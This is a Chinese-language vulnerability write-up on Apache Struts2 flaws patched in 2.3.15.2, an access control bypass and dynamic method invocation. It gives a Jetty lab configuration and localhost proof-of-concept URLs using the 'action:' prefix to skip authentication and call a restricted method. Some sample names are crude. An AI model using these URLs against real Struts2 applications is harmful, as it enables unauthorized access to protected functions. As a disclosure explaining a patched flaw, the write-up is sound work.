身份认证绕过漏洞和任意方法调用漏洞。
漏洞影响:
配置了struts2身份认证的应用都有可能受到影响
漏洞详情:
可以先参考今天轻瑶发布的struts2更新日志。
http://struts.apache.org/release/2.3.x/docs/version-notes-23152.html
主要更新了如下两点:
Broken Access Control Issue fixed
Dynamic Method Invocation set to false by default
看描述:第一点是权限控制的漏洞,第二点是动态方法调用默认关闭。官方同时还给出了两个cve,但是都没有给出漏洞详情。吸取了上次的教训,:)
先说第一点:
下载struts2的源码作对比,主要还是更新了DefaultActionMapper这个类,详情如图
通过这个diff,可以猜出漏洞的利用方式。
如下例子,通过jetty和struts配置的一个权限控制绕过的例子。
首先在web.xml中配置HelloWorld.action的访问,只有dingo身份的用户才可以访问。
<security-constraint> <web-resource-collection> <web-resource-name>dingo</web-resource-name> <url-pattern>/example/HelloWorld.action</url-pattern> </web-resource-collection> <auth-constraint> <role-name>dingo</role-name> </auth-constraint> </security-constraint>
同时认证采用了jetty的Basic认证。
<login-config> <auth-method>BASIC</auth-method> <realm-name>UserBasic Authentication</realm-name> </login-config>
jetty中配置了用户名和密码。
fuck=fuckme,dingo
正常情况下,当我们启动应用访问HelloWorld.action的时候,会弹出身份验证框:
输入用户名密码:fuck fuckme,即可显示内容。
但是当我们直接采用如下的url访问时,身份验证直接被绕过了。
http://127.0.0.1:8080/struts2-blank/example/Login.action?action:HelloWorld
接着是第二点:
直接通过远程方法调用,也可以执行没有经过授权的action中的受限方法,比如HelloWorld.action中的:
public void fuck(){ System.out.println("fuckyou"); }
通过下列url,也可以执行:
http://127.0.0.1:8080/struts2-blank/example/Login.action?action:HelloWorld!fuck
漏洞修复:
升级struts到最新版本